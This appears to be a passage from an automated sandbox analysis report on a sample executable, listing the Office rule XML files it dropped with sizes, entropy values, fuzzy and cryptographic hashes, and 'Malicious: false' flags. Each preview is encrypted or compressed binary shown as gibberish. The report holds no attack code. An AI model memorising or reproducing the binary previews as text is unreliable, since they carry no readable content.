Preview:	<?xml.Zq..................Z...vZ.R...nS..6.".G...Y"v_e.$.E.LaS..VlzT.>...^ty)..{.O....@........`.....}~^..Q.~uA....k.%.G.h.[P.Zx.["..2...UJl.p..E7\......./.C.....G.E...l..M..H._...\|.....Y..+..,pQ...#.I.D..jh.ba..t...$...4.E..t.T;....P..O...Q.&...n........1]..n...~.....D..z..j....."u-.1.....X...#r.N.B.c..C1......#9h...t.+..f......v..D....z..R..CH...J-V...q.....,.V+.....%`..~A......B.+"..>._2..{rv.x.......L.<. .m?_B..a.>....)..".UO."......R...q[..5.......5r...h...@?.+.#.(....^..W..........z=e...`P....OV)..@<........>(...l..F.q.a....y.A.l.U./4M...w.?.g..._.SIk.cgcB.........6.<.j>...."lf.S..co...K..8".s.((.d....U.j.. S...l`o?y.....L.......j..6L..?y..frK.9..%.zyv_..+...e.dt..Nc...5.....zeEie.$QL..gn~.........,.!.....`.....Xo&m)..~Q>8.<.E.(.!~...;..._G.r.....Fs.wL.`......]M...._.fGv.,..].....Y_..Mm..`&d.Av.T.{=...VU.'.n....X..~...m.%,I...70.$...y..t.7.1lK.L....G.....o..R.Z..g\|....F...Tv.....R...f...]..J...lG&..,.....I......Y..R..=aE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.90424021413667
Encrypted:	false
SSDEEP:	48:MlEuUHn0siMetqJ4nuFK3BixJeUYfFQ/2SF/kxdmiD:tHV2tacuFeB9DNQ+SUdZ
MD5:	145EE983A1C62D005DB09453DFF0FFA5
SHA1:	C425A82D906FF0BE73F8AAA6DB0158636A9BBF86
SHA-256:	2C7AFE56815E6B9AC661CFC43414B016DCEBB61E6B27F62A83DF26FAD3D5BB12
SHA-512:	B093626DB45DDAA1FDF0201612A7E27B9747F539954633BEDCFDE23756FF80785BB3EC6073C129CC0CA0D68F0FD97902AA7750D2DF68D9582E9FD7474647FE17
Malicious:	false
Preview:	<?xml.O..#u....S1.H#...H.D..\)v.F.um...G....:m..........%..)PC.........k..~.2.}I..g...`.sO..:s..W..J ....hK..<G....K.X...U.e...kv....J../{.y{.L"R .O+.YP.?.n.BK[..%...........1..r\|.e.G..M.....pZv.sB..bIW.w-NZ.h.bDK...h.h.hIk....q.@....j....Q..7....Y.4....<"9.2..{..otQD.v..@..Hzr..mu...\|....&....y.4..&.+f,..}..2...ye..RUw~..gj?..{8._B?. .$9...?.f"..X.t...Yat....@W.D...Z...s1......j..`....9.K..D......b..X..zh.o.M.....j..#..\.C..U.w..D...\.W...0,..l..JZG.~..j..}.N....Z.j.@..LU.......q..~[...'.......i.[.}K..l.qT.....TF\L..4..7.m#..........\,....m.>;.Ztt..>\|J..(6..........Ol.........7...]..$...kx.<.P...}.P.M.;....4...\..x.\...@.H.:.m.9..;.J.]F.>.VH.#.Z.6.J.....B.....a.......1.. .<......vu.C..y+r.3)u...rW;l..g+....U.........q..W.1q...2..LM.gn./EQ.....=.s....T..DA.xyU..m...FW...R...c.`.'Dz..:........N{.....5l.gk..8.-..U...`(pu....r..z.%..Z....#/...&_....12...))..^..z..E.=y..F.itocZ.......S.......is.VBJ9..s[..W.%..?..\....IN'J.p..I}*V_.ri.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.892851226109608
Encrypted:	false
SSDEEP:	48:cftpTqfOOC7t+fH8/4DIBfwEWXm4oYT4iD:cjqfjYtktDIBv2bD
MD5:	6A65D4B630A801931323BA9DFDB7F1AC
SHA1:	557DED3EA84C07F0B033EF83B5E968FFC51C25FD
SHA-256:	661E00EA033332BD5B58D4AF413182E92B77277A7443F219DE03282DB663A7D1
SHA-512:	F3AC42FB8E1FFA7783E68898BB7E3CB0CFC25CE6BD39A3E902CB3859E95BC2DFA386D57303E02C7D93608C2B3830DDD3F861C0580B5A2B09400B9D7828932EA7
Malicious:	false
Preview:	<?xml;..C{H1.._..G{...].#...E..R.:..A.......S..5..).p.I.:C]wM.l....N0...%.i>...G,..M.}.0.....j..Y....%.F.V,..d..P;UO..6.P.....Jw..v...#F..{i4...UmD..I7\........_.uQ. ...c2\|"...~....=....9. 0..A...p(a..)......a.....@...<......x.5.zc....W\..u...;..........P.O....-]..?.........V....;.1.c].HBT....2_..io....>..yHn.E.......)$i.{.>....o..4.<.....gfK:>..(...8w..D.L.Z.. .^..0.11..,.....v.....$oGV.@..R\|8....g.P.O..z..j.&.....8W....\|@.......Z.E.P....j..cc.......N8....\bx..Q.....MD.T..oQtB....<..Z.....=.5.t..@..\d...........U....D.....zF."....".."..2..]....L...6...T...W......LL.A.r.3...P./zs.O..EE.QA.....`./.3(o.\MO......q.;..T..X.........._k.....Ujh..ohG..N...!O...{..F...h..N2.4......_......0.C...n.._...q.A.[...X....h..=r.....B,...ye.j.q..u<rw.....U.7o....J`....wCG...m.4?...\|..T...c.x?l.Y.Jn........._4c.@...`e..d...+w.aB#/.8...1...B....6..\|.2.!.e..p.^..Y....>il.}E.b.&.._Q\|?.5*.wj.R...{-E....._.v .......3......H...YM]..X.1...F[_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.866325826759742
Encrypted:	false
SSDEEP:	48:1kjORj41OKihyplssdyInWqYNSUjcLODbiD:1gKWOKihwswgqYO6q
MD5:	C0FB0A59769DFCDD21E844E41534F17B
SHA1:	8CBD5C4CCEEAB3EB3FA58FC4EAAF3DEDA70C03BE
SHA-256:	8D163FB20899D66639538CBFB643DE877633294C8EAB1483B4E47A3BA5031706
SHA-512:	F3896313A98079E22DFE251FCECECD45772ABEC36827D9CABFD7E1A3392DDB4F628D29F410E2F066E0B7DA05E20FE054F259CD8085BE090676749298DAD8481E
Malicious:	false
Preview:	<?xml..u......pJ..ow.yW.z...@...=...J...3:......i.x...p.<.8....l..&.........a..V'.]\|o.W...[.?.r...[-&........i..9e..>.sk...H2].....>.D...i...,Zvb..j.)..?B....&.\....n....6.C4.q.i.qS.m..S.w.....f$...7.V!C...@...m..Y.5..y.._...gQjH.....ob..E..O.....5.Y.N.qa..!.^.8z../.Rq..3~-.....e.p.....3.......O..)P.9...{.0..c.z...<{s.X).p..$.9.z94".9.a.........c.8.8$...l....+...._$.os4.0.....;...A.mvG.. ..?..K.L.ou..OZcN....E.1.....S..[.B.7....a.!.F.!Z..WN.AVq}........5..!.....}..n.?....0.A.7G....S....g3..~...;."...g.\|#....K.~..%.L.1......i..^.%..B.[R1.T...W.....\g?.......w...mg..%@9...[..b..E..P......k.l....tt..t.F.x....a.....)#{@[...(.z..B>;.g.w{j.G.Ny2..(~....iY4O..~...xT....a..+*.S..{.9.....B...U..l..T@.K..U.../.D...F.f..4.Y..:.....o.^_..00&I....w.9#[D..BKR..R..7.TO.p............6..c[\D.'....._......^......y...sD.d!....&F.)...O<.(..r_....9...........E3.L....B_...h.6..b.@z.\|....n.w4I.U...."......R.#yr).].IVQ..6P.r..l.$..T....;.n.....6.\|..."D....9...(.4k.o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.866596315882074
Encrypted:	false
SSDEEP:	48:9E+CRMNE+TgncTseAh9V+07hO8wXEjnLnF1JbViD:9E+++8oM+02UjLnFLE
MD5:	4ED31BDDFC5BDDE320EDB0F3966CE129
SHA1:	1946F3B1DCA162F8D06725748B8E6D56204F0FC3
SHA-256:	83F3393187A74E4186F9059199747C631E682AD0EEE41083AB0564D8CE1C03E3
SHA-512:	0A58560FB7ACD317202F84430795CB4593D9BA3E1CA9B365D17128186EC40D297DB1BDE6A0FCD4BDC07205906ED9E769D54AD1648EA6B392C6A8E6C505199740
Malicious:	false
Preview:	<?xml..z\..F..-gS..8.'.=x...M.Pr.g.B.=....>.O....Q..o.....i..f.9x.P..w`Y...c:.....10l.v.b..!. .+%..v..C..:]3....^u..X!...+...[...O3...od..+oD.Q........x5/...c.N...O....3..j..R`O.w....%>.....%.5.w.j.s.s.p.....@.1.&a....gs.aB!Q..6/...]..g..RK~....z.b..1/.5...)M/._R.l....%X...c.\|f..}<.MB./...W.W.j..7$. .Bj_\1.......SX@Q%.\...`...X.`.p([......!...y..Ra..1... .g['...A.o@...C0:...?..{M.]...2.`..U-Dd.B...:.a2..;N'..b...Y.. ../..o`.xU..1.l..;r\......-..[.I>....j..A"B(...\e_j..uM...3...~.Q.`A.J..R.;...v.U....f`....P......a...5N..{6.K..C.5U...0.[u.=x....n.YukD@...t;k\..L%....%...~\|#+.O.#1A..o.>1..8..D..E.9G=_.@..9.."...+?.N.+.3.D.......F..6.Bt^v/C..>.....d..dV/..........G.. .p...d0$X....Ed...r}].t.......o..e:...W...<.4.....v..j..eY.g..3. .9;.....2.#B....d..K.aKCC..F........I.......M..=<V..[.`.....(!...d..F.Q...V....#.D..i.....9.\|..x.1.....$7..S.....O.V.0...M.M.:?.\+;....r......o'.\..\|...C.0.kC}R.. .X.\..../..;........^~w,_1W...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.873604657589502
Encrypted:	false
SSDEEP:	48:QukC/03BBslwtmuL8ROhy5mQA7zmCdeCPjICaMh8KiD:vmBelKmG8EI1seMMIA
MD5:	23093C93958D8C5FC5CC2DA492F2A387
SHA1:	DAAF978239B340576526FA78315591F6F2689F3D
SHA-256:	149581D26B5B32A3162629C43311640E48F01869F023F2AEB9941A561A551DAF
SHA-512:	1CEE6FCC056ABAB20B92B610E4BF2F2ECBF85599E34AF7C57B263901D6A7E4CA3573EF3038EFA8E72CE2A674B954319C1EE38C79E9F35D51FBE82F5DE56499E4
Malicious:	false
Preview:	<?xmlW.....C.{....ee.."..;..yg..V]..... ..(.4'.Em...HF?....9...j..(q.-n.z.).^......9.1...u....u"7Z..J..n...b......./..mG.`.....k..m.:....K8.a...s...E.Y. xL?....B.,l:5.0.-...8....2.i.[..%L.+..#q.5Mk...."l4.g.tF...}A.............%S.T..../a5.JQ...0n..b.x}....g.G..@..m......g.Q,.o...}]......2..Q..-...."..E...R....\k!.wXe....$.{.^..=......tW.}..OD}...M....p...C.....b.y.8.Q.....".[..u}..."W......Mr.5.3..8E..J.....n...h..c.&..y.#..d[...X..j.W.JjB..X.%q.z.j...h/..%..u>....sP...G.f_..I.l. ..Rh{.(..\.h..........?DRX.M.........Q8.9.6 .[_............^.+.2../.QZp)F....uPi.n...yn....0E.Pj.s+.rn.Oa.=.8..."?......X....j...5Q..k-.B.4<...f..P'..n..._.7-o...7_..T/D.e.n.....3....@E....<......O..9........"..p....{.k.8.V....1....<_ ...u.Q..q:.$..}....]..ww..R2n..I.>.......`7.#.......o.H..~...^..3..... .J...yS.Yn...OtJ_...q...h=..v...W. .A-.....(....B8..]....W..y....!..O)....$.^.9.....j..x.\5...h.......7.Q_.j ..z...x....D..y,.J.ZDQ..K.Z4..\|..)b......G..}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.882459547267613
Encrypted:	false
SSDEEP:	48:MbJt43sp4X525jeiz8+AL1t+nVtm8zlGQeOQUGk/MCYIAiD:MbU8peniLyD+nnp0OQLBnIf
MD5:	C295017534CA5E89A80F8EA9DCAED629
SHA1:	4081DAC2AA5294399E22FF1CAD29AAC2997B69F2
SHA-256:	75A645ABBBE0D507A88DC171DC2E971D22469F3DACC7632C810BBD38B513C995
SHA-512:	10F7FAD62E1E87A4950869178693A59F262215EFF83889E64771CBE35B52329C4CEE9F72CFF309E9CD176DA2408949067659A2925D1A7F95CC1BF79512E1A60A
Malicious:	false
Preview:	<?xml..Z..Cf....!l.)...d.n.A.j&t...I%......p.........\|I@.D......}...ty.'RFn.vY....(.[..>9.o...#......O...4s=...:.KU9...X..".."..k........@....qX.N..b.s...r$.. .......T...9....6......e..RE;N..F...y} mb.......)]O.:1...4o.....).?.l.Z+>.j.j......<.;j....4......p...c....9.m......m...3[..;......A..;...5.b.S..(F.3.x....q#M{Sp...8../.......~x.........\|u....b.H^..o..!f......~..$\|.......r}.4.X^...[..5?9./.{z....n......D..@.O.8..`j.1M...Rj9H.Y.......#.ye8.PB.#.B\|.$...~..wruq.....i....,...j%I.V..~u.y?m.%.{...Mpn.~5... ..^3FR....:.......X.%.....a.k.x....:.d@...8..sC...)[.sLB1....`y<...5.r...E>,.@.....G.RL.3.IB.\..!.+..)......:.J.0Q.e..T_...2.Z..S8:..O....ml...txzI...4.+..!....3.\|........ .&..d\| ..a......z..q...CoU."...2.......$.n.+0`...(;m7...x)T.....UT.V}&H;`.b...-..d...4E...._......IU.p.dg.v.@..~...r..e.c..F0.v..$R..:+..=N....rBIh.d.$#..H.t...i...G..a.....l.DC........t....k...3B..K\|..f..r.@IZSX.23~..]..~....(.v.enx.1...k..-E...f....4..sa

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.86798863616798
Encrypted:	false
SSDEEP:	48:FqygM4ape5770BSpOICCDn3NEVKc8+hiD:FqDawhQgJD3NY8+g
MD5:	B2754626AC3CFFE9D47926195CCD0303
SHA1:	AC88A9BCDF83177E4B54C7F681D17BC893D4937D
SHA-256:	6CDE612CFC4E2330B043215FA4F45B6C399D99621F5094349050E126AF92EC05
SHA-512:	45CB3305A2CC94E0C4D05FE89493C39C64FF818D94590FAF3BEE95972A492BD25EB8FFD7677D252AFB074CEB0EF3E10451E8EFEBE46FC670898C76C5F6A008D9
Malicious:	false
Preview:	<?xml.U.Iq..O.....0.=g..?.}..}C.wh.XSQ..o..,l..Q......EO`N8.}..\|.?\..9g....;.F...T..".....m....JQj4..yu.G..;...4.{...0...Y..y....i.....L.._./....g.q.L.D....m.f.r..,....4...M...`zr`.&....w'#%..NX..I.5.^(..7v0..B.:...?F.=...X.J..w..TFE...QS...a.t...yI..~...u3.YE..Y.\|,.".<xx..h..._.D.....,.\t..^\|.9.@.......p...P...].K..e.....u..].0.w.$...AG...Ioa..!'.a.3".....1t..^%%.B.....x..7..7E..A.\|SxA.+3.\|.N.)..G.r..~kl..C..../.....u...C......p~7.L....mI.k..p....r....#L../yh....=x.GP.......k.KEO....C.-..XvY.......#......$.P.s...3..K.s..H.j....9..vJ........0..u..Gv.........4..)..XL?...V.i...._.s2....#."-.`..d.!F....r....`..;g.....'.@..uJl.l..{9.\%...I.&W..2.l...a>..v.. ..E...Q.~D..=.......y.'3.....8.\Z.p9..F?.r.$.7$.5(F.P......$L..[.."...%.,...]T...V9....6....ZR.bF.........*.+....1._.I...qL...E..J..c".(;X.,..8...Wi..'..ax..rC.j@1.....!%x.C..Mj........r..R.]...t....B.>.!H.3..9g...o.....q0).H.....M.....:.e1...)....H...VP.....W..C..U.F..8..1-C..[.cAaFd..L)'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8853905146717675
Encrypted:	false
SSDEEP:	48:JFuWPYCDr6apKNRwUnrLSjk9nHsYRAmK73BVmf0KHYq5iD:DuWbxANRwUvAkZHZNsnKI
MD5:	C13FC033291313F12225246D062C4894
SHA1:	605B23D6CC902CBDA5B71A92FEC96E51572849EA
SHA-256:	055020BC1AB075FFB519C605856AF9E76D4DA83DA0D3A383F66371E9FFA689DD
SHA-512:	F393E73B12A7DBF98E6309315593DB9A20EFBB7B499B97599BA7507A583A633463B0F15D4B737798ED1C74389DA6FECBFCCFF1F136D6B4BEB0A7EDEEA64C7B64
Malicious:	false
Preview:	<?xml....kp};.+g......5....@q.....k.o.p.U.....d...\|.F..}..@...u...Tu...zh.A..=]....IG..&w's+.=....#.C.......%.fX......wktn.8.Dc.U.C..z....F.I..8$s..1Lb.s.%\{...D..p.UX...CrCQ.q..v../`..q..K'...C5.y[..."...F.....=.......c....L.h.........f....3.....U.d>.q...Zs...y.F..U..Ep..S..(g.M.yO.U{.M.<X..ng......3f$OBUq.vb&?N.D./@..~v2z.W<'..T...:cWI.oD.n@..p....vL{;n..Z.d?......lW...JD./.'./.1G.Q.^..S~....m.q...(a(.wK?.h.#=.b....7=.`..y......O..{1.....O.\k..e.......L...hO.........)..<.<.(."R...V...&.N...XfB..1h3...C.N..'T....).}/......i.Z.Y.>..rA.QN8.-...=\.6...1...!..2.W.F9v....7.."QSV........9...'..F.GQ./...Hv......@X....=../X..#...~.f.s.3t&....{.J......b....1.U..j.%.mC.......&..gu...XE(<Yz?R.OVG.S.. .....f;q^.....+.e,..X.......5.N=..U.U.)M..,..%t..e...$.......5Pd<.1...u@,......Im..\....?&"}u1.A..`SPm.w...HV...P.?.6.[.l..l.%........x....P...s....i=.J......x.%..[..~.C.Q\|Q/.5..>Q&N&.....u;d2".rr....8.X&.6.+..h.q(.%.gE\|.].,2.._.....y....2....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.863713101286585
Encrypted:	false
SSDEEP:	48:Wk2j5TSYJyybImblPf9o1rP07bLpdJ6XHiD:9GaybImZto1rPEHJb
MD5:	32C704AA2851B23C7A473AB8C17926E5
SHA1:	E57FBDACC84CFBB7E5A07BCEDEBFFAB8AB2D01DC
SHA-256:	3EBC357FB206322AC7DA683D8DEF0F15384122BD78EDB4A9626454971770731C
SHA-512:	23F99145B8560C471988722CF2EBDB99E70B48212259F4DA637A295E081EF3C886E68BBE02401B2E1CBEBDF3B8E6140A9752EDD6BAC205ECAD5920E8FCEBF0ED
Malicious:	false
Preview:	<?xml..G^/...n.<8...]Oc.'...`XC..m.F...6.Nf.....6A.)Ps.....e..%.1.w....9l{}s.......k.........U..8.k...yf.%. .O...V.d'.[.......1s0....L.$X5.....y...........C.t..3...P._.....Z.$.yLh.......c...V .....6.&........\|11.MU..\.)...;_:.d:!.Pe,.....%.O........a...+{.^....9J.~%Z.[.......\../..n._.<..H/C.af.d&.Q..O..}&...$.<...P..]'.......~.tq....^\.i I..6@g.&.<.v..v.B.K....0......w......8...w.(..EUn..L]..M..}../@...ejV.w.l....0..$.k..V.0+.P.-z..dN..h9.G]..5.).....&.{....}m".!.[\...]. ...p.].?[.:.Rj2.p.x.....HXo.<(.E;.....6.}j.H....A...{.{U.P1D2x.y.>..@7Cz..9.H(M.3.=..^t".\|.w...?......;.......~..q.S}.....FtA..CG.\|P 0,..>.l.[.=.....N.1...eH.J.n.uYx..1K..T.3..4.{..d.q.[.&w1e$...1.[..vE.L%......:..N.D.3..l..a..a.....~7..e.u....Q...p..O:.../.`...`N..1....G.x..V..0x.=...>......9.k.......d.5!.?.FEt........z.R...D.uUG..w.)...i2..m..&a...>..S...Tv.......6..N...{..b2.bwE...D.1G..w...oZ....!?T.....PJc.YY.......3^..Cb...F."oN"..<.B.....wU.,h.B-mI?.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.880420867672054
Encrypted:	false
SSDEEP:	48:Y0aBzZX7FgtSDkVGgOtvVU8C5wcAbV8zHhiD:Y08SFsgOtvG5wdbOrg
MD5:	8F39F0F788D7A8D99FFE94A19FA6F923
SHA1:	C751FD69E0E1FDDE35AD9CE9BE454EC02337CE87
SHA-256:	1C64FE70EEB49DE97381F564FC4F4637899E9E511B6D3A985E3366A438E7B7D5
SHA-512:	01932F6221D5D2103BB2735BA1C46C665E4E520206187F9FB354B7C5ADBA2596433C64DB73040264B39264FCA0D3A62D2DFB6B8EC37DB7C13ED50CA1D030B3E3
Malicious:	false
Preview:	<?xml.:....z...G...@...\..<(./.M..C..u...%.`..o}m...<.g...&..y...L..r.i.sR.....(.:?2.9O...\|....-x...0...`.x.y.gAiw.t..c.k.....D.s..n......e......6..J..t..w.^...>R...D[}.L.2b.s.._M..X.f:.<..o..Y].W.=....k.........b6.5O...d3!l....}.8\|..Z.......8I...../...../5bJ.Y.(..u.o........uPG.ka+.........Q.>y.wN../&H.....,..M_~.w0.K$..Er.m....Q.....:.$..^..mN..l.S.mp........m..`B........6..k.SI.+.\|.=e..zH.....U&...f..J._Z.-....X.H.N...$.$.r..G..IQ..).<...^\...n.9(.N(\.F.M....K.........lNf# ....Q7....Yl\..ZC..g&..2.....t..#.W]............(.<3..2EY:...bu...".....].Q.l..R5....P8.. g[.a>.Ey..n..G..+...{7....:...4...."..q.ltN..g.t`.$.=..M.....N;..C1.K.F4...$...3.JG...}.....g.B.......Y..y0f.........p9.~..{I..f...VB...}..3.<.....}...dV858.'2..b3..R......N.X/.36.S!........7\.+....c.L.......o5.c..%......l..ug..X.u.-}.....@.Z..........^..v{.d....c....ob.>.V..A.m...p..3..V.....Z...a.txN7u.........Hq..0G<o.8.V..$.L.N.B..NP.Z...%.....C.$#..p.A....G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.882718870454569
Encrypted:	false
SSDEEP:	48:fDBvqdClKdntB5wlArP01c1P+2PYtefA7RQk0HjHViD:fcdCQBn+lAJAteYKDk
MD5:	710030FA306A308DE6FC269C2FC3F706
SHA1:	AAE78EA9FD4D366B20A14A42C9102C92CB567739
SHA-256:	6C3E95B94DFF8FB775766E1171454FEE9410AF1864B893B07F4742B8D2612569
SHA-512:	996E76EEB29F80961F7783C06C549EFF951EC8258878C7C9B30A132802D24CDB90DA7BA780B5E21893D4215ACA0309DC2ACFCB17550227DB2B24E9AAF62C0182
Malicious:	false
Preview:	<?xml..c.......0..x.'%H.....c.m..W.....C..LvQ... .r..V...&..'n.k..3%..,..?z.FV.)...!.<5.E.+....>q8......:x4...>...{....:l..F..0...8.?.f.Sur..j7[...!M...H...1......[.....v.p..4,...u.....9.a....6..]..;.......D.o7.....)..G..4.jm..X.y.Yx#6.........wT..tG.3=.[Z.O.k.T.....9...U.P..[._g?.J...B@....9.].6R.I......O>$#A....0l.:.3......a.1..).H.qA......./....D. :.E)hah..".(.,J.i.q...!..{.=(.....W..'.....1..r..).h..Zp..30....NU..r.....q.4...<..\|%=......P.....4.]<....:I.....o3...u!,'=I}.4....{...\-...._.<.S8....Pa.0.3.0../....JC..w...<....rF'@...]..5f.......&._..BK1`........5..C.....K.P`K....n.Z..........Mg....(.d....R.A"..2...yJ-D.9sy...ob...1L........._}.f...y..ry;Q..H....R.}"...i3b$.......v.(....Z.1I.A....-CI.C.......8..=p......\|:.kM......a.0.}..9..r=Z>....C........D.:x..j.._.+.v...}5?d.~3.i.F.....]..?~.A.%..._.K~.........\.F.8.hI.u..f....?..ES.!...s..N.?..Y........._..1.._R.G9.H..L..V..a"..su..'x..P.Ix..m,a..6i..%CR}B.O.Gk.m....y../..L..#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.896846951428522
Encrypted:	false
SSDEEP:	48:3/H5P8721n1B1JikbPQ52QLj8t875DwlylK/iD:3/67iVfrQ52QLjVslyn
MD5:	62E26A5513D466BD0F01740E6D47EA65
SHA1:	77433618444AC09B8E1E8BB34A8FA1ADB70F0BC5
SHA-256:	AB4BD9EDD7DF98A13BC346E1F0E5C718261CE6754425EA66E18B66A46ECC9CDE
SHA-512:	6D64DC85B68CD1EAA2E4D8E15DBDDD9D71AB8505814ABC3D3A30D69EEBEA41ED7BFEF78540713BC3EB3544D16E876C1C23EA22EB7D573BBFD209DA3F41BFB158
Malicious:	false
Preview:	<?xml>.e>......v...@.T...S.D.Kd..}0.....o..<y.9-.T. .H-.D.P...v<..v?f..MK....).Yf.e!..%....e...y.c&.}.]...k:..aO...@.AS.B.]..Z<....pl...q..9..... .a.;.#0 `.........N......7...p.p..$...'b..t.p.B.L.o?..eo7(i..Pd.C.D&......M. ;.V..#.m.}@.......l.%C.t.k]...2U.....Bry'.+p.A.e+....q0.0?..\|..d..\|HB&..G.:...u...>......X.M...B/..4.j .\|...p...>t....hz _....gl.....z.#...&.z1...h....K4[..}...uM..%T..S(..k...x.......D .X;...s.Y ..%.{.. .^.Df.....9..".Y.j..05....o.g.#.\|!....2x......K..Y5.<.........SMO.J.h7F..2..u..u.f.lR..Yb2..a..X.2.2..N...:....I!..x5CN..T.U..N....W.u.X4..V.(..?%'....._....6.k.........^....r.W=......Z.}...gH.f.B.....;Kk..S.8.t..q+.F..&Y\?AV.+"...g..g..F..y..~{..Q.>G.1Vr...$v.<..q.....-A(..z`B'4I}h.~tp..E.......w........x%,.U.xH../p...J......W%!#u...,...NR..E../.t=$.s......vj...K.jQ.I8.?.{4)_U.O..:^....V.a...[H....(n....!O.Z...S...QC\.n....D.<........X.i\|.....`Q...Q..g....XZ..+DOq.;/P.J)...Y....k....&.ut..)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.893061098501374
Encrypted:	false
SSDEEP:	24:qQGhEUhSSCQSPNAfNVXc3yh5TUCfDeGrWdu6F4kQKabQifocEtXSgblu2VHOGF17:bDUhtCrM8QY8IDK+8Q8BSztOc1GFiD
MD5:	6C5864793B2A85E2DE853452067617BC
SHA1:	FAC339213C5E50D553AAEA8E402A06A8AE52F8D8
SHA-256:	14F560559E23C6B5F73B8C33CC8B806EFE0342E694E267C6B653C5570502091A
SHA-512:	2FA02DBE6ECD40DCDDFDF5C1AADC82745C8B10B57683044BB1AB022EC40B1365FDFB6487F8573E43393742A11F1D6E0577FE762C5DE66A8A0EF5876ABE392CE2
Malicious:	false
Preview:	<?xml....=.>.#.@.D....9.%<....Q`.....HI.z#C..:..]......BR.\|.v.\|....GT...>.R...X.....-....._.Q..2....%.x.....+.4...6.5,.^(c.....b..C...]8.......Rn.rElU......P..^(.Hx..9mE.c.i .,.7....$......Q.N...-2...c.....,B.m&.........8c..$S.....P.Z...6e.>.V....}.`.j..........h..@..=:..".~......(...D.:.u.......gpN......xic......5....L..S.....JPv'Oo.....T..x..6.F....IH;.U./br0.D^..Y,4.\|."L3ya...rU..7..N.......<..s.YG...K.#=..c.._@r.....j...ijU.;.%...-......8.^a....1..:Y...f...?..b...._\.z.........7.0.y.sUChq.Mt..C..U...j.i.....8bD.......q&.f.j.....W....`>.H(.."...3.n.rNz.zh..w!Y..D...{m.,\|.l.;\..2.s. ....4u...P.}P.o,.z.44..V...;W.XX....A..<jo.rQp....G..s.ew.&>..;.-.u.L...VjO...........W..W.......N..G.#....._...c7.^..1L.1.r..!B3m6 ...U7TG.x.A.r.$e.p._%P.s......kP6..Ldw...E..&h.u.i2J....t.^.?.A..."{.s...}...)..Q.. .5..q.Lda....D..1E9/0.=...q.R..\.y.V....O.J... ...[..nPB..........T!v.........T~..:.S...q.g},u.`.\|o\...H..8.6.....Py..a..[.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.8812203919799595
Encrypted:	false
SSDEEP:	48:uKJCItkAmlLo0emH6p8nw9n54W2VAo5/iD:03W0etGw9nmdHk
MD5:	AAEE1B4BF4EE4841BC068EB7E2E7AB4F
SHA1:	C72FD88458FA74BA9B6C5E1BC9B50CB17EA52792
SHA-256:	472E3487682DA88E7B35A2ED1768C10C9687D597C0D1F02B0485D9FF55248113
SHA-512:	2DC599DA6DBCD31F5882188FF65D2B40387F792209736088ABE5D88997042FBC38C7323DE1FA858A6AAD94085E649B0B43C574A5EEA1DBDABB275D4F1171E91D
Malicious:	false
